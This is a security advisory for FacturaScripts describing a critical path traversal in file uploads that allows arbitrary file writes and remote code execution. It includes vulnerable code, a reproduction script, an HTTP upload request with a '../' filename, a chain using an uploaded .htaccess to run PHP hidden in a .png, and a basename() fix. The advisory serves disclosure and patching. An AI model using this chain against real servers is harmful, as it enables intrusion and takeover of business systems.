critical

GHSA-hgjx-r89m-m7v4

Packagist · facturascripts/facturascripts

Summary

FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Severity
critical
CVSS
9.9
CWE
CWE-22, CWE-434
Published
2026-07-14
Updated
2026-07-14

Advisory details

Summary

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

  1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
  2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
  3. Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.